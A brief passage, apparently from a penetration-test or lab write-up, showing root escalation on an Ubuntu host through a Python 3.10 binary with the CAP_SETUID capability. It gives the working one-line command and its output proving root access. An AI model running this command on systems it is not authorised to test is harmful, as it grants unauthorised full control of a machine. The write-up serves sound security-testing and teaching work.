Python CAP_SETUID=EP
Capability
As discovered previously, the /usr/bin/python3.10 cap_setuid=ep
binary has the CAP_SETUID=EP
capability set to it.
app@ubuntu:~$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
# hostname
ubuntu
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:9e:39:1b brd ff:ff:ff:ff:ff:ff
altname enp3s0
inet 192.168.206.24/24 brd 192.168.206.255 scope global ens160
valid_lft forever preferred_lft forever
System level compromise